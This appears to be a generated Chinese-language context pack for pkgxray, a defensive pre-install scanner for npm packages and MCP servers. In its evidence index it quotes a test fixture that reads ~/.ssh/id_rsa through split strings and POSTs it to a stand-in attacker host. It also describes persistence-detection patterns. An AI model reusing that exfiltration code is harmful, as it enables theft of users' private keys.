# pkgxray - Doramagic AI Context Pack

> 定位：安装前体验与判断资产。它帮助宿主 AI 有一个好的开始，但不代表已经安装、执行或验证目标项目。

## 充分原则

- **充分原则，不是压缩原则**：AI Context Pack 应该充分到让宿主 AI 在开工前理解项目价值、能力边界、使用入口、风险和证据来源；它可以分层组织，但不以最短摘要为目标。
- **压缩策略**：只压缩噪声和重复内容，不压缩会影响判断和开工质量的上下文。

## 给宿主 AI 的使用方式

你正在读取 Doramagic 为 pkgxray 编译的 AI Context Pack。请把它当作开工前上下文：帮助用户理解适合谁、能做什么、如何开始、哪些必须安装后验证、风险在哪里。不要声称你已经安装、运行或执行了目标项目。

## Claim 消费规则

- **事实来源**：Repo Evidence + Claim/Evidence Graph；Human Wiki 只提供显著性、术语和叙事结构。
- **事实最低状态**：`supported`
- `supported`：可以作为项目事实使用，但回答中必须引用 claim_id 和证据路径。
- `weak`：只能作为低置信度线索，必须要求用户继续核实。
- `inferred`：只能用于风险提示或待确认问题，不能包装成项目事实。
- `unverified`：不得作为事实使用，应明确说证据不足。
- `contradicted`：必须展示冲突来源，不得替用户强行选择一个版本。

## 它最适合谁

- **正在使用 Claude/Codex/Cursor/Gemini 等宿主 AI 的开发者**：README 或插件配置提到多个宿主 AI。 证据：`README.md` Claim：`clm_0004` supported 0.86
- **希望把专业流程带进宿主 AI 的用户**：仓库包含 Skill 文档。 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md` Claim：`clm_0005` supported 0.86

## 它能做什么

- **AI Skill / Agent 指令资产库**（可做安装前预览）：项目包含可被宿主 AI 读取的 Skill 或 Agent 指令文件，可用于把专业流程带入 Claude、Codex、Cursor 等宿主。 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md` Claim：`clm_0001` supported 0.86
- **多宿主安装与分发**（需要安装后验证）：项目包含插件或 marketplace 配置，说明它面向一个或多个 AI 宿主的安装和分发。 证据：`.codex-plugin/plugin.json` Claim：`clm_0002` supported 0.86
- **命令行启动或安装流程**（需要安装后验证）：项目文档中存在可执行命令，真实使用需要在本地或宿主环境中运行这些命令。 证据：`README.md` Claim：`clm_0003` supported 0.86

## 怎么开始

- `npx --yes pkgxray@1.0.4 guard npm:express@4.21.0` 证据：`README.md` Claim：`clm_0006` supported 0.86
- `npx --yes pkgxray@1.0.4 --file examples/onboarding-malicious.json --format markdown` 证据：`README.md` Claim：`clm_0007` supported 0.86
- `npx pkgxray recheck package-lock.json       # scheduled: exits non-zero only on a regression` 证据：`README.md` Claim：`clm_0008` supported 0.86

## 继续前判断卡

- **当前建议**：先做权限沙盒试用
- **为什么**：项目存在安装命令、宿主配置或本地写入线索，不建议直接进入主力环境，应先在隔离环境试装。

### 30 秒判断

- **现在怎么做**：先做权限沙盒试用
- **最小安全下一步**：先跑 Prompt Preview；若仍要安装，只在隔离环境试装
- **先别相信**：工具权限边界不能在安装前相信。
- **继续会触碰**：命令执行、宿主 AI 配置、本地环境或项目文件

### 现在可以相信

- **适合人群线索：正在使用 Claude/Codex/Cursor/Gemini 等宿主 AI 的开发者**（supported）：有 supported claim 或项目证据支撑，但仍不等于真实安装效果。 证据：`README.md` Claim：`clm_0004` supported 0.86
- **适合人群线索：希望把专业流程带进宿主 AI 的用户**（supported）：有 supported claim 或项目证据支撑，但仍不等于真实安装效果。 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md` Claim：`clm_0005` supported 0.86
- **能力存在：AI Skill / Agent 指令资产库**（supported）：可以相信项目包含这类能力线索；是否适合你的具体任务仍要试用或安装后验证。 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md` Claim：`clm_0001` supported 0.86
- **能力存在：多宿主安装与分发**（supported）：可以相信项目包含这类能力线索；是否适合你的具体任务仍要试用或安装后验证。 证据：`.codex-plugin/plugin.json` Claim：`clm_0002` supported 0.86
- **能力存在：命令行启动或安装流程**（supported）：可以相信项目包含这类能力线索；是否适合你的具体任务仍要试用或安装后验证。 证据：`README.md` Claim：`clm_0003` supported 0.86
- **存在 Quick Start / 安装命令线索**（supported）：可以相信项目文档出现过启动或安装入口；不要因此直接在主力环境运行。 证据：`README.md` Claim：`clm_0006` supported 0.86

### 现在还不能相信

- **工具权限边界不能在安装前相信。**（unverified）：MCP/tool 类项目通常会触碰文件、网络、浏览器或外部 API，必须真实检查权限和日志。
- **真实输出质量不能在安装前相信。**（unverified）：Prompt Preview 只能展示引导方式，不能证明真实项目中的结果质量。
- **宿主 AI 版本兼容性不能在安装前相信。**（unverified）：Claude、Cursor、Codex、Gemini 等宿主加载规则和版本差异必须在真实环境验证。
- **不会污染现有宿主 AI 行为，不能直接相信。**（inferred）：Skill、plugin、AGENTS/CLAUDE/GEMINI 指令可能改变宿主 AI 的默认行为。 证据：`.codex-plugin/plugin.json`, `skills/agent-extension-supply-chain-auditor/SKILL.md`
- **可安全回滚不能默认相信。**（unverified）：除非项目明确提供卸载和恢复说明，否则必须先在隔离环境验证。
- **真实安装后是否与用户当前宿主 AI 版本兼容？**（unverified）：兼容性只能通过实际宿主环境验证。 证据：`.codex-plugin/plugin.json`
- **项目输出质量是否满足用户具体任务？**（unverified）：安装前预览只能展示流程和边界，不能替代真实评测。
- **安装命令是否需要网络、权限或全局写入？**（unverified）：这影响企业环境和个人环境的安装风险。 证据：`README.md`

### 继续会触碰什么

- **命令执行**：包管理器、网络下载、本地插件目录、项目配置或用户主目录。 原因：运行第一条命令就可能产生环境改动；必须先判断是否值得跑。 证据：`README.md`
- **宿主 AI 配置**：Claude/Codex/Cursor/Gemini/OpenCode 等宿主的 plugin、Skill 或规则加载配置。 原因：宿主配置会改变 AI 后续工作方式，可能和用户已有规则冲突。 证据：`.codex-plugin/plugin.json`, `skills/agent-extension-supply-chain-auditor/SKILL.md`
- **本地环境或项目文件**：安装结果、插件缓存、项目配置或本地依赖目录。 原因：安装前无法证明写入范围和回滚方式，需要隔离验证。 证据：`.codex-plugin/plugin.json`, `README.md`
- **宿主 AI 上下文**：AI Context Pack、Prompt Preview、Skill 路由、风险规则和项目事实。 原因：导入上下文会影响宿主 AI 后续判断，必须避免把未验证项包装成事实。

### 最小安全下一步

- **先跑 Prompt Preview**：用安装前交互式试用判断工作方式是否匹配，不需要授权或改环境。（适用：任何项目都适用，尤其是输出质量未知时。）
- **只在隔离目录或测试账号试装**：避免安装命令污染主力宿主 AI、真实项目或用户主目录。（适用：存在命令执行、插件配置或本地写入线索时。）
- **先备份宿主 AI 配置**：Skill、plugin、规则文件可能改变 Claude/Cursor/Codex 的默认行为。（适用：存在插件 manifest、Skill 或宿主规则入口时。）
- **安装后只验证一个最小任务**：先验证加载、兼容、输出质量和回滚，再决定是否深用。（适用：准备从试用进入真实工作流时。）

### 退出方式

- **保留安装前状态**：记录原始宿主配置和项目状态，后续才能判断是否可恢复。
- **准备移除宿主 plugin / Skill / 规则入口**：如果试装后行为异常，可以把宿主 AI 恢复到试装前状态。
- **记录安装命令和写入路径**：没有明确卸载说明时，至少要知道哪些目录或配置需要手动清理。
- **如果没有回滚路径，不进入主力环境**：不可回滚是继续前阻断项，不应靠信任或运气继续。

## 哪些只能预览

- 解释项目适合谁和能做什么
- 基于项目文档演示典型对话流程
- 帮助用户判断是否值得安装或继续研究

## 哪些必须安装后验证

- 真实安装 Skill、插件或 CLI
- 执行脚本、修改本地文件或访问外部服务
- 验证真实输出质量、性能和兼容性

## 边界与风险判断卡

- **把安装前预览误认为真实运行**：用户可能高估项目已经完成的配置、权限和兼容性验证。 处理方式：明确区分 prompt_preview_can_do 与 runtime_required。 Claim：`clm_0009` inferred 0.45
- **宿主 AI 插件或 Skill 规则冲突**：新规则可能改变用户现有宿主 AI 的工作方式。 处理方式：安装前先检查插件 manifest 和 Skill 文件，必要时隔离测试。 证据：`.codex-plugin/plugin.json` Claim：`clm_0010` supported 0.86
- **命令执行会修改本地环境**：安装命令可能写入用户主目录、宿主插件目录或项目配置。 处理方式：先在隔离环境或测试账号中运行。 证据：`README.md` Claim：`clm_0011` supported 0.86
- **待确认**：真实安装后是否与用户当前宿主 AI 版本兼容？。原因：兼容性只能通过实际宿主环境验证。
- **待确认**：项目输出质量是否满足用户具体任务？。原因：安装前预览只能展示流程和边界，不能替代真实评测。
- **待确认**：安装命令是否需要网络、权限或全局写入？。原因：这影响企业环境和个人环境的安装风险。

## 开工前工作上下文

### 加载顺序

- 先读取 how_to_use.host_ai_instruction，建立安装前判断资产的边界。
- 读取 claim_graph_summary，确认事实来自 Claim/Evidence Graph，而不是 Human Wiki 叙事。
- 再读取 intended_users、capabilities 和 quick_start_candidates，判断用户是否匹配。
- 需要执行具体任务时，优先查 role_skill_index，再查 evidence_index。
- 遇到真实安装、文件修改、网络访问、性能或兼容性问题时，转入 risk_card 和 boundaries.runtime_required。

### 任务路由

- **AI Skill / Agent 指令资产库**：先基于 role_skill_index / evidence_index 帮用户挑选可用角色、Skill 或工作流。 边界：可做安装前 Prompt 体验。 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md` Claim：`clm_0001` supported 0.86
- **多宿主安装与分发**：先说明这是安装后验证能力，再给出安装前检查清单。 边界：必须真实安装或运行后验证。 证据：`.codex-plugin/plugin.json` Claim：`clm_0002` supported 0.86
- **命令行启动或安装流程**：先说明这是安装后验证能力，再给出安装前检查清单。 边界：必须真实安装或运行后验证。 证据：`README.md` Claim：`clm_0003` supported 0.86

### 上下文规模

- 文件总数：251
- 重要文件覆盖：40/251
- 证据索引条目：80
- 角色 / Skill 条目：1

### 证据不足时的处理

- **missing_evidence**：说明证据不足，要求用户提供目标文件、README 段落或安装后验证记录；不要补全事实。
- **out_of_scope_request**：说明该任务超出当前 AI Context Pack 证据范围，并建议用户先查看 Human Manual 或真实安装后验证。
- **runtime_request**：给出安装前检查清单和命令来源，但不要替用户执行命令或声称已执行。
- **source_conflict**：同时展示冲突来源，标记为待核实，不要强行选择一个版本。

## Prompt Recipes

### 适配判断

- 目标：判断这个项目是否适合用户当前任务。
- 预期输出：适配结论、关键理由、证据引用、安装前可预览内容、必须安装后验证内容、下一步建议。

```text
请基于 pkgxray 的 AI Context Pack，先问我 3 个必要问题，然后判断它是否适合我的任务。回答必须包含：适合谁、能做什么、不能做什么、是否值得安装、证据来自哪里。所有项目事实必须引用 evidence_refs、source_paths 或 claim_id。
```

### 安装前体验

- 目标：让用户在安装前感受核心工作流，同时避免把预览包装成真实能力或营销承诺。
- 预期输出：一段带边界标签的体验剧本、安装后验证清单和谨慎建议；不含真实运行承诺或强营销表述。

```text
请把 pkgxray 当作安装前体验资产，而不是已安装工具或真实运行环境。

请严格输出四段：
1. 先问我 3 个必要问题。
2. 给出一段“体验剧本”：用 [安装前可预览]、[必须安装后验证]、[证据不足] 三种标签展示它可能如何引导工作流。
3. 给出安装后验证清单：列出哪些能力只有真实安装、真实宿主加载、真实项目运行后才能确认。
4. 给出谨慎建议：只能说“值得继续研究/试装”“先补充信息后再判断”或“不建议继续”，不得替项目背书。

硬性边界：
- 不要声称已经安装、运行、执行测试、修改文件或产生真实结果。
- 不要写“自动适配”“确保通过”“完美适配”“强烈建议安装”等承诺性表达。
- 如果描述安装后的工作方式，必须使用“如果安装成功且宿主正确加载 Skill，它可能会……”这种条件句。
- 体验剧本只能写成“示例台词/假设流程”：使用“可能会询问/可能会建议/可能会展示”，不要写“已写入、已生成、已通过、正在运行、正在生成”。
- Prompt Preview 不负责给安装命令；如用户准备试装，只能提示先阅读 Quick Start 和 Risk Card，并在隔离环境验证。
- 所有项目事实必须来自 supported claim、evidence_refs 或 source_paths；inferred/unverified 只能作风险或待确认项。

```

### 角色 / Skill 选择

- 目标：从项目里的角色或 Skill 中挑选最匹配的资产。
- 预期输出：候选角色或 Skill 列表，每项包含适用场景、证据路径、风险边界和是否需要安装后验证。

```text
请读取 role_skill_index，根据我的目标任务推荐 3-5 个最相关的角色或 Skill。每个推荐都要说明适用场景、可能输出、风险边界和 evidence_refs。
```

### 风险预检

- 目标：安装或引入前识别环境、权限、规则冲突和质量风险。
- 预期输出：环境、权限、依赖、许可、宿主冲突、质量风险和未知项的检查清单。

```text
请基于 risk_card、boundaries 和 quick_start_candidates，给我一份安装前风险预检清单。不要替我执行命令，只说明我应该检查什么、为什么检查、失败会有什么影响。
```

### 宿主 AI 开工指令

- 目标：把项目上下文转成一次对话开始前的宿主 AI 指令。
- 预期输出：一段边界明确、证据引用明确、适合复制给宿主 AI 的开工前指令。

```text
请基于 pkgxray 的 AI Context Pack，生成一段我可以粘贴给宿主 AI 的开工前指令。这段指令必须遵守 not_runtime=true，不能声称项目已经安装、运行或产生真实结果。
```

## 角色 / Skill 索引

- 共索引 1 个角色 / Skill / 项目文档条目。

- **agent-extension-supply-chain-auditor**（skill）：Audit supplied evidence for AI coding-agent extensions, Codex plugins, Claude Code extensions, and MCP servers using concrete supply-chain security indicators. 激活提示：当用户任务与“agent-extension-supply-chain-auditor”描述的流程高度相关时，先用它做安装前体验，再决定是否安装。 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md`

## 证据索引

- 共索引 80 条证据。

- **pkgxray documentation**（documentation）：The top-level README ../README.md is the project homepage — install, quick start, and a tour of the capabilities. Everything deeper lives here. 证据：`docs/README.md`
- **Demo recordings**（documentation）：Both recordings are real, unedited terminal sessions — nothing is mocked up or trimmed in post. This file records exactly how they were produced so they can be regenerated. 证据：`docs/demo/README.md`
- **Design notes**（documentation）：Internal design and triage notes kept for provenance. These are working documents , not user-facing docs — they record how a capability was specified and how the implementation was checked against that spec. For usage, see the top-level README ../../README.md and the reference ../reference.md . 证据：`docs/design/README.md`
- **Screenshots**（documentation）：Every capture here is output from a real run — nothing is mocked up, trimmed, or composed in post. This file records exactly how each one was produced so they can be regenerated. 证据：`docs/screenshots/README.md`
- **pkgxray — pre-install security for npm packages, MCP servers, and AI agents**（documentation）：pkgxray — pre-install security for npm packages, MCP servers, and AI agents 证据：`README.md`
- **pkgxray calibration benchmark**（documentation）：A committed corpus of labelled fixtures run through the real static engine auditEvidence — no network, no execution to make pkgxray's calibration claims reproducible and regression-gated. This is what turns "validated with 0 false blocks" from a sentence in the README into a check that fails CI the day it stops being true. 证据：`benchmark/README.md`
- **At-scale validation — top-1000 npm packages**（documentation）：At-scale validation — top-1000 npm packages 证据：`validation/README.md`
- **pkgxray website**（documentation）：Marketing site for pkgxray https://github.com/adamsjack711-ux/pkgxray , served from this directory of the main repo. Live at . 证据：`website/README.md`
- **pkgxray × hookshot — guard installs before they run**（documentation）：pkgxray × hookshot — guard installs before they run 证据：`examples/hookshot/README.md`
- **pkgxray-proxy**（documentation）：A scanning pull-through npm registry that sits between developers/CI and the upstream registry and gates package tarballs through pkgxray https://www.npmjs.com/package/pkgxray before serving them. 证据：`examples/pkgxray-proxy/README.md`
- **Calibration run — 2026-07-19 reproducibility inputs**（documentation）：Calibration run — 2026-07-19 reproducibility inputs 证据：`validation/calibration-2026-07-19/README.md`
- **Calibration stats — how this page is published**（documentation）：Calibration stats — how this page is published 证据：`website/stats/README.md`
- **Package**（package_manifest）：{ "name": "pkgxray", "version": "1.0.4", "mcpName": "io.github.adamsjack711-ux/pkgxray", "description": "pkgxray — pre-install security for npm packages, MCP servers, and AI agents. Zero-dependency local static analysis with cited SAFE, REVIEW, or BLOCK verdicts.", "license": "MIT", "author": "Jack Adams-Lovell", "type": "commonjs", "bin": { "pkgxray": "./bin/audit.js", "pkgxray-mcp": "./bin/mcp-server.js", "pkgxray-cache": "./bin/pkgxray-cache.js" }, "files": "bin/", "src/", "server.json", "README.md", "LICENSE" , "scripts": { "build:browser": "node ./scripts/build-browser-extension.js", "test": "node --test", "test:docs": "node --test ./test/docs-smoke.test.js", "benchmark": "node ./bench… 证据：`package.json`
- **Package**（package_manifest）：{ "name": "pkgxray-proxy", "version": "0.1.0", "description": "A scanning pull-through npm registry proxy that gates package tarballs through pkgxray before serving them.", "type": "module", "bin": { "pkgxray-proxy": "bin/proxy.js" }, "exports": { ".": "./src/proxy.js", "./config": "./src/config.js", "./verdict-store": "./src/verdict-store.js", "./pkgxray-runner": "./src/pkgxray-runner.js", "./path-parser": "./src/path-parser.js" }, "scripts": { "start": "node bin/proxy.js", "test": "node --test" }, "engines": { "node": " =18" }, "files": "bin/", "src/", "README.md" , "keywords": "npm", "registry", "proxy", "pkgxray", "supply-chain", "security" , "author": "", "license": "MIT" } 证据：`examples/pkgxray-proxy/package.json`
- **Architecture**（documentation）：Every package flows through the same stages, regardless of which surface invoked the scan: 证据：`docs/architecture.md`
- **Benchmarks & calibration**（documentation）：pkgxray's central calibration claim — 0 heuristic false blocks on the top-1000 most-downloaded npm packages — is not a sentence in the README; it is a committed corpus and a CI gate that fails the day it stops being true. 证据：`docs/benchmark.md`
- **pkgxray canary — threat model**（documentation）：Everything else pkgxray does is static : it quarantines and inspects bytes, and never runs what it inspects. canary is the one deliberate exception — it executes the package in two phases and observes what it actually does : 证据：`docs/canary-threat-model.md`
- **Configuration — .pkgxray.json**（documentation）：One human-authored policy file, read by every pkgxray surface — the CLI guard / audit / recheck , the MCP server, the proxy, and the install hook. Because every surface loads the same file through the same loader src/config.js , your policy can never drift per-surface. 证据：`docs/configuration.md`
- **Design principles**（documentation）：The rules that shape every pkgxray decision, and why they hold. 证据：`docs/design.md`
- **JSON output schema --format json**（documentation）：Every pkgxray command accepts --format json and emits a single JSON object on stdout diagnostics go to stderr, so stdout stays parse-clean . This is the machine contract external tools build on, so it is versioned independently of the package version. 证据：`docs/json-schema.md`
- **Threat model**（documentation）：What pkgxray defends against, where its limits are, and why it holds the false-positive line where it does. For the exact severity mapping of each signal, see the severity policy reference.md severity-policy-what-lands-in-block--review--info . For the opt-in canary surface — the one part of pkgxray that executes code — see its dedicated canary threat model canary-threat-model.md . 证据：`docs/threat-model.md`
- **Evasion triage — behavioral HIGH rules defeated by string-splitting / hidden sinks**（documentation）：Evasion triage — behavioral HIGH rules defeated by string-splitting / hidden sinks 证据：`docs/design/evasion-triage.md`
- **pkgxray × Hookshot — install-gate hardening triage**（documentation）：pkgxray × Hookshot — install-gate hardening triage 证据：`docs/design/integration-triage.md`
- **pkgxray × MCP — connect-time static trust layer prompt**（documentation）：pkgxray × MCP — connect-time static trust layer prompt 证据：`docs/design/mcp-adapter-prompt.md`
- **MCP adapter — triage of MCP ADAPTER PROMPT.md against the actual code**（documentation）：MCP adapter — triage of MCP ADAPTER PROMPT.md against the actual code 证据：`docs/design/mcp-adapter-triage.md`
- **Contributing to pkgxray**（documentation）：Thanks for helping improve pkgxray — pre-install security for npm packages, MCP servers, and AI agents. 证据：`CONTRIBUTING.md`
- **Agent Extension Supply Chain Auditor**（skill_instruction）：Agent Extension Supply Chain Auditor 证据：`skills/agent-extension-supply-chain-auditor/SKILL.md`
- **Plugin**（structured_config）：{ "name": "pkgxray", "version": "0.13.0", "description": "Local MCP and CLI extension for triaging AI-agent extension supply-chain risk.", "author": { "name": "Jack Adams-Lovell" }, "skills": "./skills/", "mcpServers": "./.mcp.json", "interface": { "displayName": "Supply Chain Auditor", "shortDescription": "Audit agent extensions before install.", "longDescription": "Supply Chain Auditor provides a local CLI, MCP server, and Codex skill for conservative security triage of AI coding-agent extensions, Codex plugins, Claude Code extensions, and MCP servers.", "developerName": "Jack Adams-Lovell", "category": "Security", "capabilities": "MCP", "Local Analysis" , "defaultPrompt": "Audit this ext… 证据：`.codex-plugin/plugin.json`
- **License**（source_file）：Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files the "Software" , to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 证据：`LICENSE`
- **Changelog**（documentation）：1.0.4 2026-07-20 — listed on the MCP Registry 证据：`CHANGELOG.md`
- **Getting pkgxray tested in the wild**（documentation）：A concrete, ordered playbook for putting pkgxray in front of real users and real packages so it gets exercised, stress-tested, and calibrated against traffic you can't manufacture. Ordered by leverage — the top items unblock the ones below them. 证据：`docs/adoption.md`
- **Compatibility & stability**（documentation）：As of 1.0.0 , the Stable surface below is a promise: it will not break without a major version bump. This document states, plainly, what is covered by that promise and what is explicitly still moving the Experimental and opt-in surfaces , so you know exactly what you can build on. 证据：`docs/compatibility.md`
- **MCP Registry readiness**（documentation）：Status: metadata and runtime entry point are prepared and ship in published pkgxray@1.0.4 , but the Registry entry itself is not published yet. The official MCP Registry is still in preview and may make breaking changes or reset data. 证据：`docs/mcp-registry.md`
- **MCP security**（documentation）：An AI agent pulls untrusted things in two ways — packages it installs, and Model Context Protocol MCP servers it connects to. pkgxray covers both directions: 证据：`docs/mcp.md`
- **Project status**（documentation）：pkgxray is an actively maintained 1.x project. Its stable CLI, exit codes, JSON schema, configuration, and MCP contracts follow the compatibility policy compatibility.md . Detection results may become stricter as signatures and vulnerability data improve; that is expected behavior and is regression-gated against the calibration corpus. 证据：`docs/project-status.md`
- **pkgxray reference**（documentation）：Detailed reference material split out of the README ../README.md to keep the landing page focused. Covers the severity policy, recheck monitoring, performance numbers, JSON output shapes, the browser extension, and the self-hostable cache server. For the compatibility contract and stability tiers, see compatibility.md compatibility.md . 证据：`docs/reference.md`
- **Release and verification policy**（documentation）：pkgxray follows semantic versioning and the 1.x compatibility contract compatibility.md . Only maintainers publish releases. A pull request, tag, or passing test run is not itself a release. 证据：`docs/release.md`
- **RECHECK TRIAGE — monitoring tier verdict-drift + version-drift**（documentation）：RECHECK TRIAGE — monitoring tier verdict-drift + version-drift 证据：`docs/design/recheck-triage.md`
- **Coding-agent integrations**（documentation）：pkgxray can be exposed as an MCP tool or called as a command. Those integrations are advisory unless the host has an execution hook : an instruction can ask an agent to scan first, but cannot prove that every install was intercepted. For an actual pre-execution gate, use the experimental Hookshot integration ../../examples/hookshot/ . 证据：`docs/integrations/coding-agents.md`
- **GitHub Actions**（documentation）：The lowest-maintenance integration is to run a version-pinned pkgxray release directly with npx . It needs no secret and no write permission. A reusable workflow is also available for teams that prefer central configuration. 证据：`docs/integrations/github-actions.md`
- **Social versions — npm/MCP supply-chain stats**（documentation）：Social versions — npm/MCP supply-chain stats 证据：`docs/posts/npm-mcp-supply-chain-2025-social.md`
- **npm ships ~22 billion downloads a day. Roughly 1 in 25 new packages is malware.**（documentation）：npm ships ~22 billion downloads a day. Roughly 1 in 25 new packages is malware. 证据：`docs/posts/npm-mcp-supply-chain-2025.md`
- **.Pkgxray.Example**（structured_config）："policy": "safe-only", "failOn": "review", "scanErrorPolicy": "fail-closed", 证据：`.pkgxray.example.json`
- **Onboarding Malicious**（structured_config）：{ "packageName": "pkgxray-onboarding-inert-fixture", "sourceFiles": { "package.json": "{\"name\":\"pkgxray-onboarding-inert-fixture\",\"main\":\"index.js\"}", "index.js": "const fs = require \"fs\" ; const pieces = \".s\", \"sh\", \"id r\", \"sa\" ; const key = fs.readFileSync process.env.HOME + \"/\" + pieces 0 + pieces 1 + \"/\" + pieces 2 + pieces 3 ; const https = require \"ht\" + \"tps\" ; https.request { host: \"attacker-cdn.example\", method: \"POST\" } .end key ;" } } 证据：`examples/onboarding-malicious.json`
- **Defensible Blocks**（structured_config）：{ " comment": "Packages in the top-1000 corpus that pkgxray BLOCKS on a heuristic non-CVE finding, where the block is CORRECT/defensible because the package genuinely performs the flagged high-risk operation. These are excluded from the 'heuristic false blocks must be 0' gate the same way known-CVE blocks are — they are true positives a security team SHOULD review, not calibration errors. Each entry must name the exact reason; keep this list minimal and audited. Do NOT add a package here to hide a genuine false positive — fix the detector instead.", "packages": { "pm2": "Genuinely installs boot persistence: lib/API/Startup.js writes /etc/systemd/system and upstart/launchd/systemv/openrc uni… 证据：`validation/defensible-blocks.json`
- **Mcp Registry Targets.Meta**（structured_config）：{ "source": "https://registry.modelcontextprotocol.io/v0/servers", "query": "version=latest, status=active, packages .registryType=npm", "fetched date": "2026-07-21", "pages fetched": 25, "server records seen": 2500, "active server records": 2492, "enumeration": "stopped at cap registry cursor order — alphabetical by server name ", "listed": 300, "order": "file sorted by npm identifier for stable diffs; registry has no download ranking", "list": "mcp-registry", "command": "node scripts/build-mcp-target-list.js" } 证据：`validation/mcp-registry-targets.meta.json`
- **Audit**（source_file）：function promoteVerdict verdict, policy ⋮---- function printUsage ⋮---- function parseArgs argv ⋮---- function readInput file ⋮---- async function main ⋮---- function renderMcpMarkdown result ⋮---- function renderCanaryMarkdown staged, behavioral ⋮---- // The single most important framing: this tool CONFIRMS malice, it cannot // CLEAR a package. A quiet run is not a safe package. ⋮---- function renderGuardMarkdown result 证据：`bin/audit.js`
- **Mcp Server**（source_file）：function toolExposed mcpToolName ⋮---- function loadAllowedRoots ⋮---- function send message ⋮---- function textContent text ⋮---- function auditToolDefinition ⋮---- function guardToolDefinition ⋮---- function lockfileAuditToolDefinition ⋮---- function lockfileTriageToolDefinition ⋮---- function listTools ⋮---- function isLocalReference reference ⋮---- function localReferencePath reference ⋮---- function isWithinAllowedRoot candidate ⋮---- // Resolve symlinks in the existing prefix. This also handles destinations that // do not exist yet without letting a symlinked parent escape an approved root. function canonicalPath candidate, mustExist ⋮---- function resolveOperatorPath candidate, ⋮----… 证据：`bin/mcp-server.js`
- **Pkgxray Cache**（source_file）：function parseArgs argv ⋮---- function printUsage ⋮---- function isSafeSegment value ⋮---- function isSafeRef value ⋮---- function joinUnder root, ...parts ⋮---- function repoCachePath cacheDir, owner, repo ⋮---- function tarballCachePath cacheDir, owner, repo, ref ⋮---- async function statFresh filePath, ttlMs ⋮---- async function dirSizeBytes root ⋮---- function dedup key, factory ⋮---- function pickTransport url ⋮---- function upstreamGetJson urlString, headers, hops = 0 ⋮---- function upstreamFetchTarball urlString, destination, options = ⋮---- const cleanup = err = ⋮---- const get = currentUrl, hops = ⋮---- function upstreamStreamTarball urlString, sink ⋮---- const fail = err = ⋮---- f… 证据：`bin/pkgxray-cache.js`
- **Architecture**（source_file）：pkgxray Analyze before you install Evidence-based static supply-chain analysis — never executes untrusted code 证据：`docs/architecture.svg`
- **Auditor**（source_file）：// AI-coding-agent / MCP config files. Reading ANOTHER agent's configuration is ⋮---- // Persistence destinations. Each pattern requires a quote/slash boundary // before the dotfile name so we match path.join home, '.bashrc' and // /Users/x/.bashrc but NOT identifiers like Module.profile or ⋮---- // The first N entries above are shell rc files .bashrc/.zshrc/.zshenv/ // .bash profile/.profile . A write to one of these is normally persistence, but // it is also exactly how shell tab-completion installs completion // ~/.bashrc — a documented, user-invoked convenience. The remaining entries // crontab, launch agents, systemd, init.d, Windows Run keys have no such // legitimate story and always… 证据：`src/auditor.js`
- **Config**（source_file）：function findUp filename, startDir ⋮---- function readJsonFile file, warnings ⋮---- function loadConfig opts = ⋮---- function readEnv env ⋮---- function stripUndefined obj ⋮---- function mergeLayers layers ⋮---- function validateEnum value, valid, fallback, label, warnings ⋮---- function validateAllowEntry entry, warnings ⋮---- function validateMuteEntry entry, warnings ⋮---- function validateMcp raw, warnings ⋮---- function validateConfig raw, warnings ⋮---- function globToRegExp glob ⋮---- function globMatches glob, value ⋮---- function findMuteFor mutes, finding, packageName ⋮---- function findAllowFor allows, packageName, version, sha256, nowMs ⋮---- // The pin must match the artifact a… 证据：`src/config.js`
- **Mcp Audit**（source_file）：function safeToolSlug name, taken ⋮---- function toolDocument tool ⋮---- function serverDocument manifest ⋮---- // instructions is text the server asks the HOST to inject into the model's // context — the single most injection-shaped field in the protocol. ⋮---- function manifestEntries manifest ⋮---- function manifestSourceFiles manifest ⋮---- function normalizeParamName name ⋮---- // Walk a JSON Schema's named parameters bounded — a hostile schema must not // recurse us to death . function collectParams schema, out, depth = 0 ⋮---- function inspectCapabilityMismatch tool, evidencePath ⋮---- // The purpose declares execution — a command param is what it says on the // tin. Not a mismatch,… 证据：`src/mcp-audit.js`
- **Mcp Client**（source_file）：function scrubbedEnv extraEnv ⋮---- function isExecutableFile candidate ⋮---- function resolveCommand command, warnings ⋮---- const findIn = dirs = ⋮---- function initializeRequest id ⋮---- function toolsListRequest id, cursor ⋮---- function rpcError message, phase ⋮---- function normalizeTool tool ⋮---- function normalizeManifest ⋮---- async function enumerateStdio command, args, options = ⋮---- const pending = new Map ; // id - {resolve, reject} ⋮---- const signalGroup = sig = ⋮---- const killChild = = ⋮---- const killChildAndWait = ⋮---- const finishWait = = ⋮---- const failAll = error = ⋮---- const finish = = ⋮---- const request = message ⋮---- const notify = message = ⋮---- function pa… 证据：`src/mcp-client.js`
- **Mcp Proxy**（source_file）：const worstOf = a, b const severityVerdict = severity ⋮---- function quantile sorted, q ⋮---- class McpGate ⋮---- this.toolStatus = new Map ; // name - { verdict, drifted, reasons: } ⋮---- onClientRaw line ⋮---- async onClientMessage message ⋮---- onServerRaw line ⋮---- async onServerMessage message ⋮---- async handleServerSingle message ⋮---- manifestFor tools ⋮---- auditTools tools ⋮---- async finishVerify tools ⋮---- async onClientListResponse message ⋮---- // ---- per-call gate ---------------------------------------------------------- ⋮---- // The hot path: pure in-memory verdict fold. No IO of any kind. decision entry ⋮---- decideAndRoute message ⋮---- screenCallResult name, message ⋮… 证据：`src/mcp-proxy.js`
- **Quarantine**（source_file）：async function guardExtension reference, options = ⋮---- async function runNpmVsGithubDiff ⋮---- async function selectivelyExtractGithubTarball ⋮---- // Track which npm-relative paths actually exist in the github tarball. // Downstream the diff uses this as the "skip hashing npm files that aren't ⋮---- async function collectRelativeFilePaths root ⋮---- // SECURITY: skip symlinks and other non-regular entries. These would // otherwise be passed to tar as paths to extract from the GitHub // archive — if the github tarball happened to contain a matching // symlink at that path, extracting it would seed the staged tree with // an attacker-pointed link the diff would then read through. ⋮---- //… 证据：`src/quarantine.js`
